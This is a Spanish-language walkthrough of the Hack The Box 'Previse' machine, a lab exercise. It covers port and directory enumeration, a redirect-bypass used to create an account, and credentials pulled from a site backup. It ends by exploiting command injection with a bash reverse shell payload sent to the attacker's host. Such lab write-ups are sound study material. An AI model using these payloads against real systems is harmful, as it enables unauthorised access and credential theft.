Previse es un desafío catalogada como fácil para ganar acceso y media para elevación de privilegios.
En primer lugar, como siempre comenzamos lanzando un nmap para comprobar los puertos que están abiertos.
# Nmap 7.92 scan initiated Tue Dec 7 15:32:18 2021 as: nmap -p- --open -T5 -v -oG allPorts -n 10.10.11.104
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.104 () Status: Up
Host: 10.10.11.104 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http/// Ignored State: closed (65533)
# Nmap done at Tue Dec 7 15:32:38 2021 -- 1 IP address (1 host up) scanned in 19.77 seconds
omo podemos ver únicamente tiene abierto los puertos 22 y 80.
Lanzamos Whatweb para intentar recabar mas datos
http://10.10.11.104/ [302 Found] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.11.104], Meta-Author[m4lwhere], RedirectLocation[login.php], Script, Title[Previse Home]
http://10.10.11.104/login.php [200 OK] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.11.104], Meta-Author[m4lwhere], PasswordField[password], Script, Title[Previse Login]
Al acceder al puerto 80 nos encontramos con la siguiente web la cual presenta un panel de acceso.
Probamos con contraseñas por defecto pero no conseguimos acceso. Al no conseguir acceso a la web seguimos con nuestro proceso de enumeración
Realizando el fuzz comprobamos que con los wordlist pequeños no nos encuentra nada. al realizarlo con /directory-list-lowercase-2.3-medium.txt empezamos a entrar cosas interesantes como: nav.php
gobuster dir -u 10.10.11.104 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -e -s "200,301,302,401" -x "php" -t 100
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.104
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/12/07 16:13:02 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.11.104/index.php (Status: 302) [Size: 2801] [--> login.php]
http://10.10.11.104/header.php (Status: 200) [Size: 980]
http://10.10.11.104/nav.php (Status: 200) [Size: 1248]
http://10.10.11.104/download.php (Status: 302) [Size: 0] [--> login.php]
http://10.10.11.104/login.php (Status: 200) [Size: 2224]
http://10.10.11.104/footer.php (Status: 200) [Size: 217]
http://10.10.11.104/css (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]
http://10.10.11.104/status.php (Status: 302) [Size: 2971] [--> login.php]
http://10.10.11.104/js (Status: 301) [Size: 309] [--> http://10.10.11.104/js/]
http://10.10.11.104/logout.php (Status: 302) [Size: 0] [--> login.php]
http://10.10.11.104/accounts.php (Status: 302) [Size: 3994] [--> login.php]
http://10.10.11.104/config.php (Status: 200) [Size: 0]
http://10.10.11.104/files.php (Status: 302) [Size: 7240] [--> login.php]
http://10.10.11.104/logs.php (Status: 302) [Size: 0] [--> login.php]
http://10.10.11.104/server-status (Status: 403) [Size: 277]
Al acceder a nav.php nos encontramos con un pequeño menú
Nos damos cuenta que cuando intentamos acceder a sitio nos hacen una redirección a login.php
Abrimos Burp Suite y vamos a intentar manipular la respuesta del servidor (Más información)
Botón derecho sobre Intercept > Do Intercept > Response to this request
Cambiamos el código http 302 que nos devolvía la web por 200
Al volver de nuevo al navegador comprobamos que hemos podido acceder al apartado de «accounts.php»
Creamos un nuevo usuario
Volvemos a cambiar la respuesta: Botón derecho sobre Intercept > Do Intercept > Response to this request
Cambiamos el código http 302 que nos devolvía la web por 200
Al volver de nuevo al navegador nos encontramos que nos indica que se creo en usuario correctamente.
Una vez finalice la creación del usuario se me ocurrió que la podría haber hecho mediante curl
curl -is -X POST -d "username=admin&password=temporal01.&confirm=temporal01." 10.10.11.104/accounts.php
Accedemos con el usuario creado anteriormente.
Nos muestra un panel en donde podemos acceder a múltiple información
Vemos que en el apartado «file» un backup
Descomprimimos el archivo para buscar información sensible que nos pudiese ayudar.
unzip siteBackup.zip
Archive: siteBackup.zip
inflating: accounts.php
inflating: config.php
inflating: download.php
inflating: file_logs.php
inflating: files.php
inflating: footer.php
inflating: header.php
inflating: index.php
inflating: login.php
inflating: logout.php
inflating: logs.php
inflating: nav.php
inflating: status.php
Al descomprimir los ficheros encontramos en el archivo «config.php» un usuario y contraseña de MySQL
cat config.php
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
Intentamos reutilizar la contraseña para acceder con otro usuario por ssh sin ningún resultado. Por lo tanto nos la guardamos por si nos pudiese servir para mas adelante.
Seguimos buscando… y en archivo logs.php encontramos un posible RCE (Más información) en la función exec()
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
$filepath = "/var/www/out.log";
$filename = "out.log";
Accedemos nuevamente a la web al apartado file_logs.php, abrimos nuestro Burp Suite y el proxy
Modificamos la query y dejamos un NC escuchando
delim=comma%26/bin/bash+-c+'bash+-i+>+/dev/tcp/10.10.16.75/443+0>%261'
Una vez ejecutado la query volvemos al terminal donde hemos dejado escuchando NC
Una vez hemos conseguido acceso al servidor nos valemos de la clave obtenida anteriormente ( $passwd = ‘mySQL_p@ssw0rd!:)’; ) para acceder al servicio de MySQL.